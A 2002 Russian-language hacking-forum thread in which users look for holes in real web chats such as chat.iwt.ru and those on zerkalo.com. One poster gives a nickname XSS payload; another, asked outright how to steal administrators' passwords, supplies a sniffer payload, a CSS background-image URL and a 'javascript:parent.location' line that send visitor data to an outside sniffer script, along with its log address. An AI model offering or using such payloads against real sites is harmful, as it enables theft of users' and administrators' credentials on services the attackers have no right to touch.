Чаты Дырки в чате

Discussion in 'Веб-уязвимости' started by Guest, 9 Dec 2002.

  1. Guest

    Guest Guest

    Reputations:
    0
    Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru [​IMG]Вообще есть ли там какие нибудь дыры[​IMG]
     
  2. tableton®

    tableton® New Member

    Joined:
    26 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ декабря 09 2002,20:11)</td></tr><tr><td id="QUOTE">Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru [​IMG]Вообще есть ли там какие нибудь дыры[​IMG][/QUOTE]<span id='postcolor'>
    Ты не против если я тоже отвечу, хотя знаю что ты послал Алголу.Там, есть много где полазить, но я еще не все опробовал, из-за отсутствия времени. Надеюсь Алгол тебе поможет, если у него не будет той же проблемы
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Есть незначительный баг - можно вставить скриптик в ник, который сработает при клике на нем.
    Ник например такой : %22%2Balert%28%29%2B%222
     
  4. Arthur

    Arthur New Member

    Joined:
    11 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Hi Algol!!!
    Баг с ником это конечно КРУТО....но мне всё же картинку надо....понимаешь....сниффак надо пихнуть ...что бы пароли админов стырить [​IMG] Может есть способ а[​IMG]
    p.s. tableton® нашёл чё нить[​IMG]
     
  5. tableton®

    tableton® New Member

    Joined:
    26 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,19:17)</td></tr><tr><td id="QUOTE">p.s. tableton® нашёл чё нить[​IMG][/QUOTE]<span id='postcolor'>
    Прости, так времени и не было, но вон Алгол же тебе сказал уже, бери меняй скрипт да вставляй свой снифак, и все.
     
  6. Arthur

    Arthur New Member

    Joined:
    11 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ &nbsp;ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.
     
  7. Arthur

    Arthur New Member

    Joined:
    11 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    А кстати...Алгол , ты как то говорил, что чаты на зеркале (www.zerkalo.com) не ломаются.... уже сломали...в новом главном чате (всё там же на зеркале) был замечен флуд порно-картинками и тегами.... [​IMG]
     
  8. tableton®

    tableton® New Member

    Joined:
    26 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,22:56)</td></tr><tr><td id="QUOTE">tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ  ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.[/QUOTE]<span id='postcolor'>
    Ок, да там нечего особо писать, смотри если ты выполняешь через таблицу стилей то будет так
    style=background-image:url(http://www.antichat.ru/go/normal.php?id).
    Кстати адрес, уже снифака. Вот ЛОГ
    http://www.antichat.ru/go/log/normal_log.shtml
    А если ты делаешь это чисто через джаву то тоже так
    javascript:parent.location='http://...' Вот и все [​IMG]
    Удачи, но лучше вот тебе Чат, там тренеруйся, там ваааще все что хочешь мона делать Гы
    http://www.punkmusic.ru/cgi-bin/chat/chat.cgi
    Но бди, там другие тоже тренеруються [​IMG]
     
  9. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    На зеркале много чатов, при чем на разных движках...
    Знаю точно что не ломается эротический, насчет остальных - все может быть  [​IMG]
    Нужно посмотреть ...
    (хотя тегами и админы могли баловаться)

    Посмотрел... Нифига не ломается... Самый большой глюк- можно писать от любого ника..Больше ничего ...
     
  10. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Насчет chat.iwt.ru - других дыр, кроме ника, нет.
    Но и ник тебе мало что даст, поскольку там стоит ограничение на длинну ника, длинный скрипт вставить не удастся...
     
  11. Arthur

    Arthur New Member

    Joined:
    11 Nov 2002
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    ALGOL НА СЧЁТ ИВТ ПОНЯТНО.....А ЧТО МОНА СДЕЛАТЬ В РОМАНТИЧЕСКОМ НА ЗЕРКАЛЕ[​IMG]Хоть какая то возможность взлома существует[​IMG]Там можно (раньше можно было)картинки друг другу посылать...может там что нибудь[​IMG]
     
  12. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Картинки и сейчас можно, но только из фиксированного списка... причем посылается не урл а номер картинки...Через это взломать нельзя